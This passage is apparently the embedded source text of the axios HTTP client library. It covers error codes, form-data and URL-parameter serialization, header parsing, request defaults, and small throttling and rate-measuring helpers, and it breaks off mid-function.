descriptors = {};\n\n[\n 'ERR_BAD_OPTION_VALUE',\n 'ERR_BAD_OPTION',\n 'ECONNABORTED',\n 'ETIMEDOUT',\n 'ERR_NETWORK',\n 'ERR_FR_TOO_MANY_REDIRECTS',\n 'ERR_DEPRECATED',\n 'ERR_BAD_RESPONSE',\n 'ERR_BAD_REQUEST',\n 'ERR_CANCELED',\n 'ERR_NOT_SUPPORT',\n 'ERR_INVALID_URL'\n// eslint-disable-next-line func-names\n].forEach(code => {\n descriptors[code] = {value: code};\n});\n\nObject.defineProperties(AxiosError, descriptors);\nObject.defineProperty(prototype, 'isAxiosError', {value: true});\n\n// eslint-disable-next-line func-names\nAxiosError.from = (error, code, config, request, response, customProps) => {\n const axiosError = Object.create(prototype);\n\n utils.toFlatObject(error, axiosError, function filter(obj) {\n return obj !== Error.prototype;\n }, prop => {\n return prop !== 'isAxiosError';\n });\n\n AxiosError.call(axiosError, error.message, code, config, request, response);\n\n axiosError.cause = error;\n\n axiosError.name = error.name;\n\n customProps && Object.assign(axiosError, customProps);\n\n return axiosError;\n};\n\nexport default AxiosError;\n","// eslint-disable-next-line strict\nexport default null;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\n// temporary hotfix to avoid circular references until AxiosURLSearchParams is refactored\nimport PlatformFormData from '../platform/node/classes/FormData.js';\n\n/**\n * Determines if the given thing is a array or js object.\n *\n * @param {string} thing - The object or array to be visited.\n *\n * @returns {boolean}\n */\nfunction isVisitable(thing) {\n return utils.isPlainObject(thing) || utils.isArray(thing);\n}\n\n/**\n * It removes the brackets from the end of a string\n *\n * @param {string} key - The key of the parameter.\n *\n * @returns {string} the key without the brackets.\n */\nfunction removeBrackets(key) {\n return utils.endsWith(key, '[]') ? key.slice(0, -2) : key;\n}\n\n/**\n * It takes a path, a key, and a boolean, and returns a string\n *\n * @param {string} path - The path to the current key.\n * @param {string} key - The key of the current object being iterated over.\n * @param {string} dots - If true, the key will be rendered with dots instead of brackets.\n *\n * @returns {string} The path to the current key.\n */\nfunction renderKey(path, key, dots) {\n if (!path) return key;\n return path.concat(key).map(function each(token, i) {\n // eslint-disable-next-line no-param-reassign\n token = removeBrackets(token);\n return !dots && i ? '[' + token + ']' : token;\n }).join(dots ? '.' : '');\n}\n\n/**\n * If the array is an array and none of its elements are visitable, then it's a flat array.\n *\n * @param {Array<any>} arr - The array to check\n *\n * @returns {boolean}\n */\nfunction isFlatArray(arr) {\n return utils.isArray(arr) && !arr.some(isVisitable);\n}\n\nconst predicates = utils.toFlatObject(utils, {}, null, function filter(prop) {\n return /^is[A-Z]/.test(prop);\n});\n\n/**\n * Convert a data object to FormData\n *\n * @param {Object} obj\n * @param {?Object} [formData]\n * @param {?Object} [options]\n * @param {Function} [options.visitor]\n * @param {Boolean} [options.metaTokens = true]\n * @param {Boolean} [options.dots = false]\n * @param {?Boolean} [options.indexes = false]\n *\n * @returns {Object}\n **/\n\n/**\n * It converts an object into a FormData object\n *\n * @param {Object<any, any>} obj - The object to convert to form data.\n * @param {string} formData - The FormData object to append to.\n * @param {Object<string, any>} options\n *\n * @returns\n */\nfunction toFormData(obj, formData, options) {\n if (!utils.isObject(obj)) {\n throw new TypeError('target must be an object');\n }\n\n // eslint-disable-next-line no-param-reassign\n formData = formData || new (PlatformFormData || FormData)();\n\n // eslint-disable-next-line no-param-reassign\n options = utils.toFlatObject(options, {\n metaTokens: true,\n dots: false,\n indexes: false\n }, false, function defined(option, source) {\n // eslint-disable-next-line no-eq-null,eqeqeq\n return !utils.isUndefined(source[option]);\n });\n\n const metaTokens = options.metaTokens;\n // eslint-disable-next-line no-use-before-define\n const visitor = options.visitor || defaultVisitor;\n const dots = options.dots;\n const indexes = options.indexes;\n const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob;\n const useBlob = _Blob && utils.isSpecCompliantForm(formData);\n\n if (!utils.isFunction(visitor)) {\n throw new TypeError('visitor must be a function');\n }\n\n function convertValue(value) {\n if (value === null) return '';\n\n if (utils.isDate(value)) {\n return value.toISOString();\n }\n\n if (!useBlob && utils.isBlob(value)) {\n throw new AxiosError('Blob is not supported. Use a Buffer instead.');\n }\n\n if (utils.isArrayBuffer(value) || utils.isTypedArray(value)) {\n return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value);\n }\n\n return value;\n }\n\n /**\n * Default visitor.\n *\n * @param {*} value\n * @param {String|Number} key\n * @param {Array<String|Number>} path\n * @this {FormData}\n *\n * @returns {boolean} return true to visit the each prop of the value recursively\n */\n function defaultVisitor(value, key, path) {\n let arr = value;\n\n if (value && !path && typeof value === 'object') {\n if (utils.endsWith(key, '{}')) {\n // eslint-disable-next-line no-param-reassign\n key = metaTokens ? key : key.slice(0, -2);\n // eslint-disable-next-line no-param-reassign\n value = JSON.stringify(value);\n } else if (\n (utils.isArray(value) && isFlatArray(value)) ||\n ((utils.isFileList(value) || utils.endsWith(key, '[]')) && (arr = utils.toArray(value))\n )) {\n // eslint-disable-next-line no-param-reassign\n key = removeBrackets(key);\n\n arr.forEach(function each(el, index) {\n !(utils.isUndefined(el) || el === null) && formData.append(\n // eslint-disable-next-line no-nested-ternary\n indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'),\n convertValue(el)\n );\n });\n return false;\n }\n }\n\n if (isVisitable(value)) {\n return true;\n }\n\n formData.append(renderKey(path, key, dots), convertValue(value));\n\n return false;\n }\n\n const stack = [];\n\n const exposedHelpers = Object.assign(predicates, {\n defaultVisitor,\n convertValue,\n isVisitable\n });\n\n function build(value, path) {\n if (utils.isUndefined(value)) return;\n\n if (stack.indexOf(value) !== -1) {\n throw Error('Circular reference detected in ' + path.join('.'));\n }\n\n stack.push(value);\n\n utils.forEach(value, function each(el, key) {\n const result = !(utils.isUndefined(el) || el === null) && visitor.call(\n formData, el, utils.isString(key) ? key.trim() : key, path, exposedHelpers\n );\n\n if (result === true) {\n build(el, path ? path.concat(key) : [key]);\n }\n });\n\n stack.pop();\n }\n\n if (!utils.isObject(obj)) {\n throw new TypeError('data must be an object');\n }\n\n build(obj);\n\n return formData;\n}\n\nexport default toFormData;\n","'use strict';\n\nimport toFormData from './toFormData.js';\n\n/**\n * It encodes a string by replacing all characters that are not in the unreserved set with\n * their percent-encoded equivalents\n *\n * @param {string} str - The string to encode.\n *\n * @returns {string} The encoded string.\n */\nfunction encode(str) {\n const charMap = {\n '!': '%21',\n \"'\": '%27',\n '(': '%28',\n ')': '%29',\n '~': '%7E',\n '%20': '+',\n '%00': '\\x00'\n };\n return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {\n return charMap[match];\n });\n}\n\n/**\n * It takes a params object and converts it to a FormData object\n *\n * @param {Object<string, any>} params - The parameters to be converted to a FormData object.\n * @param {Object<string, any>} options - The options object passed to the Axios constructor.\n *\n * @returns {void}\n */\nfunction AxiosURLSearchParams(params, options) {\n this._pairs = [];\n\n params && toFormData(params, this, options);\n}\n\nconst prototype = AxiosURLSearchParams.prototype;\n\nprototype.append = function append(name, value) {\n this._pairs.push([name, value]);\n};\n\nprototype.toString = function toString(encoder) {\n const _encode = encoder ? function(value) {\n return encoder.call(this, value, encode);\n } : encode;\n\n return this._pairs.map(function each(pair) {\n return _encode(pair[0]) + '=' + _encode(pair[1]);\n }, '').join('&');\n};\n\nexport default AxiosURLSearchParams;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosURLSearchParams from '../helpers/AxiosURLSearchParams.js';\n\n/**\n * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their\n * URI encoded counterparts\n *\n * @param {string} val The value to be encoded.\n *\n * @returns {string} The encoded value.\n */\nfunction encode(val) {\n return encodeURIComponent(val).\n replace(/%3A/gi, ':').\n replace(/%24/g, '$').\n replace(/%2C/gi, ',').\n replace(/%20/g, '+').\n replace(/%5B/gi, '[').\n replace(/%5D/gi, ']');\n}\n\n/**\n * Build a URL by appending params to the end\n *\n * @param {string} url The base of the url (e.g., http://www.google.com)\n * @param {object} [params] The params to be appended\n * @param {?object} options\n *\n * @returns {string} The formatted url\n */\nexport default function buildURL(url, params, options) {\n /*eslint no-param-reassign:0*/\n if (!params) {\n return url;\n }\n \n const _encode = options && options.encode || encode;\n\n const serializeFn = options && options.serialize;\n\n let serializedParams;\n\n if (serializeFn) {\n serializedParams = serializeFn(params, options);\n } else {\n serializedParams = utils.isURLSearchParams(params) ?\n params.toString() :\n new AxiosURLSearchParams(params, options).toString(_encode);\n }\n\n if (serializedParams) {\n const hashmarkIndex = url.indexOf(\"#\");\n\n if (hashmarkIndex !== -1) {\n url = url.slice(0, hashmarkIndex);\n }\n url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;\n }\n\n return url;\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\nclass InterceptorManager {\n constructor() {\n this.handlers = [];\n }\n\n /**\n * Add a new interceptor to the stack\n *\n * @param {Function} fulfilled The function to handle `then` for a `Promise`\n * @param {Function} rejected The function to handle `reject` for a `Promise`\n *\n * @return {Number} An ID used to remove interceptor later\n */\n use(fulfilled, rejected, options) {\n this.handlers.push({\n fulfilled,\n rejected,\n synchronous: options ? options.synchronous : false,\n runWhen: options ? options.runWhen : null\n });\n return this.handlers.length - 1;\n }\n\n /**\n * Remove an interceptor from the stack\n *\n * @param {Number} id The ID that was returned by `use`\n *\n * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise\n */\n eject(id) {\n if (this.handlers[id]) {\n this.handlers[id] = null;\n }\n }\n\n /**\n * Clear all interceptors from the stack\n *\n * @returns {void}\n */\n clear() {\n if (this.handlers) {\n this.handlers = [];\n }\n }\n\n /**\n * Iterate over all the registered interceptors\n *\n * This method is particularly useful for skipping over any\n * interceptors that may have become `null` calling `eject`.\n *\n * @param {Function} fn The function to call for each interceptor\n *\n * @returns {void}\n */\n forEach(fn) {\n utils.forEach(this.handlers, function forEachHandler(h) {\n if (h !== null) {\n fn(h);\n }\n });\n }\n}\n\nexport default InterceptorManager;\n","'use strict';\n\nexport default {\n silentJSONParsing: true,\n forcedJSONParsing: true,\n clarifyTimeoutError: false\n};\n","'use strict';\n\nimport AxiosURLSearchParams from '../../../helpers/AxiosURLSearchParams.js';\nexport default typeof URLSearchParams !== 'undefined' ? URLSearchParams : AxiosURLSearchParams;\n","'use strict';\n\nexport default typeof FormData !== 'undefined' ? FormData : null;\n","'use strict'\n\nexport default typeof Blob !== 'undefined' ? Blob : null\n","import URLSearchParams from './classes/URLSearchParams.js'\nimport FormData from './classes/FormData.js'\nimport Blob from './classes/Blob.js'\n\nexport default {\n isBrowser: true,\n classes: {\n URLSearchParams,\n FormData,\n Blob\n },\n protocols: ['http', 'https', 'file', 'blob', 'url', 'data']\n};\n","const hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined';\n\n/**\n * Determine if we're running in a standard browser environment\n *\n * This allows axios to run in a web worker, and react-native.\n * Both environments support XMLHttpRequest, but not fully standard globals.\n *\n * web workers:\n * typeof window -> undefined\n * typeof document -> undefined\n *\n * react-native:\n * navigator.product -> 'ReactNative'\n * nativescript\n * navigator.product -> 'NativeScript' or 'NS'\n *\n * @returns {boolean}\n */\nconst hasStandardBrowserEnv = (\n (product) => {\n return hasBrowserEnv && ['ReactNative', 'NativeScript', 'NS'].indexOf(product) < 0\n })(typeof navigator !== 'undefined' && navigator.product);\n\n/**\n * Determine if we're running in a standard browser webWorker environment\n *\n * Although the `isStandardBrowserEnv` method indicates that\n * `allows axios to run in a web worker`, the WebWorker will still be\n * filtered out due to its judgment standard\n * `typeof window !== 'undefined' && typeof document !== 'undefined'`.\n * This leads to a problem when axios post `FormData` in webWorker\n */\nconst hasStandardBrowserWebWorkerEnv = (() => {\n return (\n typeof WorkerGlobalScope !== 'undefined' &&\n // eslint-disable-next-line no-undef\n self instanceof WorkerGlobalScope &&\n typeof self.importScripts === 'function'\n );\n})();\n\nconst origin = hasBrowserEnv && window.location.href || 'http://localhost';\n\nexport {\n hasBrowserEnv,\n hasStandardBrowserWebWorkerEnv,\n hasStandardBrowserEnv,\n origin\n}\n","import platform from './node/index.js';\nimport * as utils from './common/utils.js';\n\nexport default {\n ...utils,\n ...platform\n}\n","'use strict';\n\nimport utils from '../utils.js';\nimport toFormData from './toFormData.js';\nimport platform from '../platform/index.js';\n\nexport default function toURLEncodedForm(data, options) {\n return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({\n visitor: function(value, key, path, helpers) {\n if (platform.isNode && utils.isBuffer(value)) {\n this.append(key, value.toString('base64'));\n return false;\n }\n\n return helpers.defaultVisitor.apply(this, arguments);\n }\n }, options));\n}\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z']\n *\n * @param {string} name - The name of the property to get.\n *\n * @returns An array of strings.\n */\nfunction parsePropPath(name) {\n // foo[x][y][z]\n // foo.x.y.z\n // foo-x-y-z\n // foo x y z\n return utils.matchAll(/\\w+|\\[(\\w*)]/g, name).map(match => {\n return match[0] === '[]' ? '' : match[1] || match[0];\n });\n}\n\n/**\n * Convert an array to an object.\n *\n * @param {Array<any>} arr - The array to convert to an object.\n *\n * @returns An object with the same keys and values as the array.\n */\nfunction arrayToObject(arr) {\n const obj = {};\n const keys = Object.keys(arr);\n let i;\n const len = keys.length;\n let key;\n for (i = 0; i < len; i++) {\n key = keys[i];\n obj[key] = arr[key];\n }\n return obj;\n}\n\n/**\n * It takes a FormData object and returns a JavaScript object\n *\n * @param {string} formData The FormData object to convert to JSON.\n *\n * @returns {Object<string, any> | null} The converted object.\n */\nfunction formDataToJSON(formData) {\n function buildPath(path, value, target, index) {\n let name = path[index++];\n\n if (name === '__proto__') return true;\n\n const isNumericKey = Number.isFinite(+name);\n const isLast = index >= path.length;\n name = !name && utils.isArray(target) ? target.length : name;\n\n if (isLast) {\n if (utils.hasOwnProp(target, name)) {\n target[name] = [target[name], value];\n } else {\n target[name] = value;\n }\n\n return !isNumericKey;\n }\n\n if (!target[name] || !utils.isObject(target[name])) {\n target[name] = [];\n }\n\n const result = buildPath(path, value, target[name], index);\n\n if (result && utils.isArray(target[name])) {\n target[name] = arrayToObject(target[name]);\n }\n\n return !isNumericKey;\n }\n\n if (utils.isFormData(formData) && utils.isFunction(formData.entries)) {\n const obj = {};\n\n utils.forEachEntry(formData, (name, value) => {\n buildPath(parsePropPath(name), value, obj, 0);\n });\n\n return obj;\n }\n\n return null;\n}\n\nexport default formDataToJSON;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\nimport transitionalDefaults from './transitional.js';\nimport toFormData from '../helpers/toFormData.js';\nimport toURLEncodedForm from '../helpers/toURLEncodedForm.js';\nimport platform from '../platform/index.js';\nimport formDataToJSON from '../helpers/formDataToJSON.js';\n\n/**\n * It takes a string, tries to parse it, and if it fails, it returns the stringified version\n * of the input\n *\n * @param {any} rawValue - The value to be stringified.\n * @param {Function} parser - A function that parses a string into a JavaScript object.\n * @param {Function} encoder - A function that takes a value and returns a string.\n *\n * @returns {string} A stringified version of the rawValue.\n */\nfunction stringifySafely(rawValue, parser, encoder) {\n if (utils.isString(rawValue)) {\n try {\n (parser || JSON.parse)(rawValue);\n return utils.trim(rawValue);\n } catch (e) {\n if (e.name !== 'SyntaxError') {\n throw e;\n }\n }\n }\n\n return (encoder || JSON.stringify)(rawValue);\n}\n\nconst defaults = {\n\n transitional: transitionalDefaults,\n\n adapter: ['xhr', 'http', 'fetch'],\n\n transformRequest: [function transformRequest(data, headers) {\n const contentType = headers.getContentType() || '';\n const hasJSONContentType = contentType.indexOf('application/json') > -1;\n const isObjectPayload = utils.isObject(data);\n\n if (isObjectPayload && utils.isHTMLForm(data)) {\n data = new FormData(data);\n }\n\n const isFormData = utils.isFormData(data);\n\n if (isFormData) {\n return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n }\n\n if (utils.isArrayBuffer(data) ||\n utils.isBuffer(data) ||\n utils.isStream(data) ||\n utils.isFile(data) ||\n utils.isBlob(data) ||\n utils.isReadableStream(data)\n ) {\n return data;\n }\n if (utils.isArrayBufferView(data)) {\n return data.buffer;\n }\n if (utils.isURLSearchParams(data)) {\n headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false);\n return data.toString();\n }\n\n let isFileList;\n\n if (isObjectPayload) {\n if (contentType.indexOf('application/x-www-form-urlencoded') > -1) {\n return toURLEncodedForm(data, this.formSerializer).toString();\n }\n\n if ((isFileList = utils.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) {\n const _FormData = this.env && this.env.FormData;\n\n return toFormData(\n isFileList ? {'files[]': data} : data,\n _FormData && new _FormData(),\n this.formSerializer\n );\n }\n }\n\n if (isObjectPayload || hasJSONContentType ) {\n headers.setContentType('application/json', false);\n return stringifySafely(data);\n }\n\n return data;\n }],\n\n transformResponse: [function transformResponse(data) {\n const transitional = this.transitional || defaults.transitional;\n const forcedJSONParsing = transitional && transitional.forcedJSONParsing;\n const JSONRequested = this.responseType === 'json';\n\n if (utils.isResponse(data) || utils.isReadableStream(data)) {\n return data;\n }\n\n if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {\n const silentJSONParsing = transitional && transitional.silentJSONParsing;\n const strictJSONParsing = !silentJSONParsing && JSONRequested;\n\n try {\n return JSON.parse(data);\n } catch (e) {\n if (strictJSONParsing) {\n if (e.name === 'SyntaxError') {\n throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response);\n }\n throw e;\n }\n }\n }\n\n return data;\n }],\n\n /**\n * A timeout in milliseconds to abort a request. If set to 0 (default) a\n * timeout is not created.\n */\n timeout: 0,\n\n xsrfCookieName: 'XSRF-TOKEN',\n xsrfHeaderName: 'X-XSRF-TOKEN',\n\n maxContentLength: -1,\n maxBodyLength: -1,\n\n env: {\n FormData: platform.classes.FormData,\n Blob: platform.classes.Blob\n },\n\n validateStatus: function validateStatus(status) {\n return status >= 200 && status < 300;\n },\n\n headers: {\n common: {\n 'Accept': 'application/json, text/plain, */*',\n 'Content-Type': undefined\n }\n }\n};\n\nutils.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => {\n defaults.headers[method] = {};\n});\n\nexport default defaults;\n","'use strict';\n\nimport utils from './../utils.js';\n\n// RawAxiosHeaders whose duplicates are ignored by node\n// c.f. https://nodejs.org/api/http.html#http_message_headers\nconst ignoreDuplicateOf = utils.toObjectSet([\n 'age', 'authorization', 'content-length', 'content-type', 'etag',\n 'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',\n 'last-modified', 'location', 'max-forwards', 'proxy-authorization',\n 'referer', 'retry-after', 'user-agent'\n]);\n\n/**\n * Parse headers into an object\n *\n * ```\n * Date: Wed, 27 Aug 2014 08:58:49 GMT\n * Content-Type: application/json\n * Connection: keep-alive\n * Transfer-Encoding: chunked\n * ```\n *\n * @param {String} rawHeaders Headers needing to be parsed\n *\n * @returns {Object} Headers parsed into an object\n */\nexport default rawHeaders => {\n const parsed = {};\n let key;\n let val;\n let i;\n\n rawHeaders && rawHeaders.split('\\n').forEach(function parser(line) {\n i = line.indexOf(':');\n key = line.substring(0, i).trim().toLowerCase();\n val = line.substring(i + 1).trim();\n\n if (!key || (parsed[key] && ignoreDuplicateOf[key])) {\n return;\n }\n\n if (key === 'set-cookie') {\n if (parsed[key]) {\n parsed[key].push(val);\n } else {\n parsed[key] = [val];\n }\n } else {\n parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;\n }\n });\n\n return parsed;\n};\n","'use strict';\n\nimport utils from '../utils.js';\nimport parseHeaders from '../helpers/parseHeaders.js';\n\nconst $internals = Symbol('internals');\n\nfunction normalizeHeader(header) {\n return header && String(header).trim().toLowerCase();\n}\n\nfunction normalizeValue(value) {\n if (value === false || value == null) {\n return value;\n }\n\n return utils.isArray(value) ? value.map(normalizeValue) : String(value);\n}\n\nfunction parseTokens(str) {\n const tokens = Object.create(null);\n const tokensRE = /([^\\s,;=]+)\\s*(?:=\\s*([^,;]+))?/g;\n let match;\n\n while ((match = tokensRE.exec(str))) {\n tokens[match[1]] = match[2];\n }\n\n return tokens;\n}\n\nconst isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());\n\nfunction matchHeaderValue(context, value, header, filter, isHeaderNameFilter) {\n if (utils.isFunction(filter)) {\n return filter.call(this, value, header);\n }\n\n if (isHeaderNameFilter) {\n value = header;\n }\n\n if (!utils.isString(value)) return;\n\n if (utils.isString(filter)) {\n return value.indexOf(filter) !== -1;\n }\n\n if (utils.isRegExp(filter)) {\n return filter.test(value);\n }\n}\n\nfunction formatHeader(header) {\n return header.trim()\n .toLowerCase().replace(/([a-z\\d])(\\w*)/g, (w, char, str) => {\n return char.toUpperCase() + str;\n });\n}\n\nfunction buildAccessors(obj, header) {\n const accessorName = utils.toCamelCase(' ' + header);\n\n ['get', 'set', 'has'].forEach(methodName => {\n Object.defineProperty(obj, methodName + accessorName, {\n value: function(arg1, arg2, arg3) {\n return this[methodName].call(this, header, arg1, arg2, arg3);\n },\n configurable: true\n });\n });\n}\n\nclass AxiosHeaders {\n constructor(headers) {\n headers && this.set(headers);\n }\n\n set(header, valueOrRewrite, rewrite) {\n const self = this;\n\n function setHeader(_value, _header, _rewrite) {\n const lHeader = normalizeHeader(_header);\n\n if (!lHeader) {\n throw new Error('header name must be a non-empty string');\n }\n\n const key = utils.findKey(self, lHeader);\n\n if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) {\n self[key || _header] = normalizeValue(_value);\n }\n }\n\n const setHeaders = (headers, _rewrite) =>\n utils.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite));\n\n if (utils.isPlainObject(header) || header instanceof this.constructor) {\n setHeaders(header, valueOrRewrite)\n } else if(utils.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {\n setHeaders(parseHeaders(header), valueOrRewrite);\n } else if (utils.isHeaders(header)) {\n for (const [key, value] of header.entries()) {\n setHeader(value, key, rewrite);\n }\n } else {\n header != null && setHeader(valueOrRewrite, header, rewrite);\n }\n\n return this;\n }\n\n get(header, parser) {\n header = normalizeHeader(header);\n\n if (header) {\n const key = utils.findKey(this, header);\n\n if (key) {\n const value = this[key];\n\n if (!parser) {\n return value;\n }\n\n if (parser === true) {\n return parseTokens(value);\n }\n\n if (utils.isFunction(parser)) {\n return parser.call(this, value, key);\n }\n\n if (utils.isRegExp(parser)) {\n return parser.exec(value);\n }\n\n throw new TypeError('parser must be boolean|regexp|function');\n }\n }\n }\n\n has(header, matcher) {\n header = normalizeHeader(header);\n\n if (header) {\n const key = utils.findKey(this, header);\n\n return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher)));\n }\n\n return false;\n }\n\n delete(header, matcher) {\n const self = this;\n let deleted = false;\n\n function deleteHeader(_header) {\n _header = normalizeHeader(_header);\n\n if (_header) {\n const key = utils.findKey(self, _header);\n\n if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) {\n delete self[key];\n\n deleted = true;\n }\n }\n }\n\n if (utils.isArray(header)) {\n header.forEach(deleteHeader);\n } else {\n deleteHeader(header);\n }\n\n return deleted;\n }\n\n clear(matcher) {\n const keys = Object.keys(this);\n let i = keys.length;\n let deleted = false;\n\n while (i--) {\n const key = keys[i];\n if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) {\n delete this[key];\n deleted = true;\n }\n }\n\n return deleted;\n }\n\n normalize(format) {\n const self = this;\n const headers = {};\n\n utils.forEach(this, (value, header) => {\n const key = utils.findKey(headers, header);\n\n if (key) {\n self[key] = normalizeValue(value);\n delete self[header];\n return;\n }\n\n const normalized = format ? formatHeader(header) : String(header).trim();\n\n if (normalized !== header) {\n delete self[header];\n }\n\n self[normalized] = normalizeValue(value);\n\n headers[normalized] = true;\n });\n\n return this;\n }\n\n concat(...targets) {\n return this.constructor.concat(this, ...targets);\n }\n\n toJSON(asStrings) {\n const obj = Object.create(null);\n\n utils.forEach(this, (value, header) => {\n value != null && value !== false && (obj[header] = asStrings && utils.isArray(value) ? value.join(', ') : value);\n });\n\n return obj;\n }\n\n [Symbol.iterator]() {\n return Object.entries(this.toJSON())[Symbol.iterator]();\n }\n\n toString() {\n return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\\n');\n }\n\n get [Symbol.toStringTag]() {\n return 'AxiosHeaders';\n }\n\n static from(thing) {\n return thing instanceof this ? thing : new this(thing);\n }\n\n static concat(first, ...targets) {\n const computed = new this(first);\n\n targets.forEach((target) => computed.set(target));\n\n return computed;\n }\n\n static accessor(header) {\n const internals = this[$internals] = (this[$internals] = {\n accessors: {}\n });\n\n const accessors = internals.accessors;\n const prototype = this.prototype;\n\n function defineAccessor(_header) {\n const lHeader = normalizeHeader(_header);\n\n if (!accessors[lHeader]) {\n buildAccessors(prototype, _header);\n accessors[lHeader] = true;\n }\n }\n\n utils.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);\n\n return this;\n }\n}\n\nAxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']);\n\n// reserved names hotfix\nutils.reduceDescriptors(AxiosHeaders.prototype, ({value}, key) => {\n let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set`\n return {\n get: () => value,\n set(headerValue) {\n this[mapped] = headerValue;\n }\n }\n});\n\nutils.freezeMethods(AxiosHeaders);\n\nexport default AxiosHeaders;\n","'use strict';\n\nimport utils from './../utils.js';\nimport defaults from '../defaults/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\n\n/**\n * Transform the data for a request or a response\n *\n * @param {Array|Function} fns A single function or Array of functions\n * @param {?Object} response The response object\n *\n * @returns {*} The resulting transformed data\n */\nexport default function transformData(fns, response) {\n const config = this || defaults;\n const context = response || config;\n const headers = AxiosHeaders.from(context.headers);\n let data = context.data;\n\n utils.forEach(fns, function transform(fn) {\n data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n });\n\n headers.normalize();\n\n return data;\n}\n","'use strict';\n\nexport default function isCancel(value) {\n return !!(value && value.__CANCEL__);\n}\n","'use strict';\n\nimport AxiosError from '../core/AxiosError.js';\nimport utils from '../utils.js';\n\n/**\n * A `CanceledError` is an object that is thrown when an operation is canceled.\n *\n * @param {string=} message The message.\n * @param {Object=} config The config.\n * @param {Object=} request The request.\n *\n * @returns {CanceledError} The created error.\n */\nfunction CanceledError(message, config, request) {\n // eslint-disable-next-line no-eq-null,eqeqeq\n AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request);\n this.name = 'CanceledError';\n}\n\nutils.inherits(CanceledError, AxiosError, {\n __CANCEL__: true\n});\n\nexport default CanceledError;\n","'use strict';\n\nimport AxiosError from './AxiosError.js';\n\n/**\n * Resolve or reject a Promise based on response status.\n *\n * @param {Function} resolve A function that resolves the promise.\n * @param {Function} reject A function that rejects the promise.\n * @param {object} response The response.\n *\n * @returns {object} The response.\n */\nexport default function settle(resolve, reject, response) {\n const validateStatus = response.config.validateStatus;\n if (!response.status || !validateStatus || validateStatus(response.status)) {\n resolve(response);\n } else {\n reject(new AxiosError(\n 'Request failed with status code ' + response.status,\n [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4],\n response.config,\n response.request,\n response\n ));\n }\n}\n","'use strict';\n\nexport default function parseProtocol(url) {\n const match = /^([-+\\w]{1,25})(:?\\/\\/|:)/.exec(url);\n return match && match[1] || '';\n}\n","'use strict';\n\n/**\n * Calculate data maxRate\n * @param {Number} [samplesCount= 10]\n * @param {Number} [min= 1000]\n * @returns {Function}\n */\nfunction speedometer(samplesCount, min) {\n samplesCount = samplesCount || 10;\n const bytes = new Array(samplesCount);\n const timestamps = new Array(samplesCount);\n let head = 0;\n let tail = 0;\n let firstSampleTS;\n\n min = min !== undefined ? min : 1000;\n\n return function push(chunkLength) {\n const now = Date.now();\n\n const startedAt = timestamps[tail];\n\n if (!firstSampleTS) {\n firstSampleTS = now;\n }\n\n bytes[head] = chunkLength;\n timestamps[head] = now;\n\n let i = tail;\n let bytesCount = 0;\n\n while (i !== head) {\n bytesCount += bytes[i++];\n i = i % samplesCount;\n }\n\n head = (head + 1) % samplesCount;\n\n if (head === tail) {\n tail = (tail + 1) % samplesCount;\n }\n\n if (now - firstSampleTS < min) {\n return;\n }\n\n const passed = startedAt && now - startedAt;\n\n return passed ? Math.round(bytesCount * 1000 / passed) : undefined;\n };\n}\n\nexport default speedometer;\n","'use strict';\n\n/**\n * Throttle decorator\n * @param {Function} fn\n * @param {Number} freq\n * @return {Function}\n */\nfunction throttle(fn, freq) {\n let timestamp = 0;\n const threshold = 1000 / freq;\n let timer = null;\n return function throttled() {\n const force = this === true;\n\n const now = Date.now();\n if (force || now - timestamp > threshold) {\n if (timer) {\n clearTimeout(timer);\n timer = null;\n }\n timestamp = now;\n return fn.apply(null, arguments);\n }\n if (!timer) {\n timer = setTimeout(() => {\n timer = null;\n timestamp = Date.now();\n return fn.apply(null, arguments);\n }, threshold - (now - timestamp));\n }\n };\n}\n\nexport default throttle;\n","import speedometer from \"./speedometer.js\";\nimport throttle from \"./throttle.js\";\n\nexport default (listener, isDownloadStream, freq = 3) => {\n let bytesNotified = 0;\n const _speedometer = speedometer(50, 250);\n\n return throttle(e => {\n const loaded = e.loaded;\n const total = e.lengthComputable ? e.total : undefined;\n const progressBytes = loaded - bytesNotified;\n const rate = _speedometer(progressBytes);\n const inRange = loaded <= total;\n\n 